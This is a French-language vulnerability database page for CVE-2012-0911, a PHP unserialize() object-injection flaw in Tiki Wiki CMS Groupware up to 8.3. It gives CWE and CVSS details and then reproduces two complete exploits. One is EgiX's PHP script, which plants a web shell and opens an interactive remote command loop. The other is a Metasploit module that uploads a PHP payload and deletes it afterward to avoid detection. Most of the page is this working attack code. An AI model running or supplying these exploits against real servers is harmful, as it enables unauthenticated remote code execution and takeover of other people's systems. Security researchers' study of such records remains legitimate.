Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-502 |
Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 19573
Date de publication : 2012-07-03 22h00 +00:00
Auteur : EgiX
EDB Vérifié : Yes
<?php
/*
-----------------------------------------------------------------
Tiki Wiki CMS Groupware <= 8.3 "unserialize()" PHP Code Execution
-----------------------------------------------------------------
author...........: Egidio Romano aka EgiX
mail.............: n0b0d13s[at]gmail[dot]com
software link....: http://info.tiki.org/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerable code in different locations:
lib/banners/bannerlib.php:28: $views = unserialize($_COOKIE[$cookieName]);
lib/banners/bannerlib.php:136: $views = unserialize($_COOKIE[$cookieName]);
tiki-print_multi_pages.php:19: $printpages = unserialize(urldecode($_REQUEST['printpages']));
tiki-print_multi_pages.php:24: $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
tiki-print_pages.php:31: $printpages = unserialize(urldecode($_REQUEST["printpages"]));
tiki-print_pages.php:32: $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
tiki-send_objects.php:42: $sendpages = unserialize(urldecode($_REQUEST['sendpages']));
tiki-send_objects.php:48: $sendstructures = unserialize(urldecode($_REQUEST['sendstructures']));
tiki-send_objects.php:54: $sendarticles = unserialize(urldecode($_REQUEST['sendarticles']));
The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input.
This can lead to execution of arbitrary PHP code passing an ad-hoc Zend Framework serialized object.
[-] Full path disclosure at:
http://[host]/[path]/admin/include_calendar.php
http://[host]/[path]/tiki-rss_error.php
http://[host]/[path]/tiki-watershed_service.php
[-] Disclosure timeline:
[11/01/2012] - Vulnerability discovered
[14/01/2012] - Issue reported to security(at)tikiwiki.org
[14/01/2012] - New ticket opened: http://dev.tiki.org/item4109
[23/01/2012] - CVE number requested
[23/01/2012] - Assigned CVE-2012-0911
[01/05/2012] - Version 8.4 released: http://info.tiki.org/article191-Tiki-Releases-8-4
[04/07/2012] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
function get_path()
{
global $host, $path;
$packet = "GET {$path}tiki-rss_error.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
if (!preg_match('/in <b>(.*)tiki-rss/', http_send($host, $packet), $m)) die("\n[-] Path not found!\n");
return $m[1];
}
print "\n+----------------------------------------------------------------------+";
print "\n| Tiki Wiki CMS Groupware <= 8.3 Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /tiki/\n";
die();
}
list($host, $path) = array($argv[1], $argv[2]);
$f_path = get_path();
print "\n[-] Path disclosure: {$f_path}\n";
class Zend_Search_Lucene_Index_FieldInfo
{
public $name = '<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?>';
}
class Zend_Search_Lucene_Storage_Directory_Filesystem
{
protected $_dirPath = null;
public function __construct($path)
{
$this->_dirPath = $path;
}
}
interface Zend_Pdf_ElementFactory_Interface {}
class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface
{
protected $_docCount = 1;
protected $_name = 'foo';
protected $_directory;
protected $_fields;
protected $_files;
public function __construct($directory, $fields)
{
$this->_directory = $directory;
$this->_fields = array($fields);
$this->_files = new stdClass;
}
}
class Zend_Pdf_ElementFactory_Proxy
{
private $_factory;
public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
{
$this->_factory = $factory;
}
}
// http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem($f_path."sh.php\0");
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);
$payload = urlencode(serialize($____proxy));
$payload = str_replace('%00', '%2500', $payload);
$payload = "printpages={$payload}";
$packet = "POST {$path}tiki-print_multi_pages.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (preg_match('/multiprint/', http_send($host, $packet))) die("[-] Multi-print feature disabled!\n");
$packet = "GET {$path}sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\ntiki-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
Exploit Database EDB-ID : 19630
Date de publication : 2012-07-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the webserver user.
The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
which is called with user controlled data from the 'printpages' parameter.
The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
class to write arbitrary PHP code to a file on the Tiki Wiki web directory.
In order to run successfully three conditions must be satisfied (1) display_errors
php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
version older than 5.3.4 must be used to allow poison null bytes in filesystem related
functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
},
'Author' =>
[
'EgiX', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0911' ],
[ 'BID', '54298' ],
[ 'EDB', '19573' ],
[ 'URL', 'http://dev.tiki.org/item4109' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 04 2012'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
], self.class)
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
client.fs.file.rm(@upload_php)
print_good("#{@peer} - #{@upload_php} removed to stay ninja")
rescue
print_error("#{@peer} - Unable to remove #{f}")
end
end
end
def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")
res = send_request_cgi(
'uri' => "#{base}tiki-rss_error.php"
)
if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
return
else
tiki_path = $1
print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"
end
php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"
printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
printpages << "s:10:\"%00*%00_fields\";a:1:"
printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"
print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
res = send_request_cgi(
{
'uri' => "#{base}tiki-print_multi_pages.php",
'method' => 'POST',
'vars_post' => {
'printpages' => printpages
}
})
if not res or res.code != 200
print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
return
end
print_status("#{@peer} - Executing the payload #{@upload_php}")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => "#{base + @upload_php}",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
if res
print_error("#{@peer} - Payload execution failed: #{res.code}")
return
end
end
end
Products Mentioned
Configuraton 0
Tiki>>Tikiwiki_cms\/groupware >> Version To (excluding) 6.7
Tiki>>Tikiwiki_cms\/groupware >> Version To (excluding) 8.4
Références
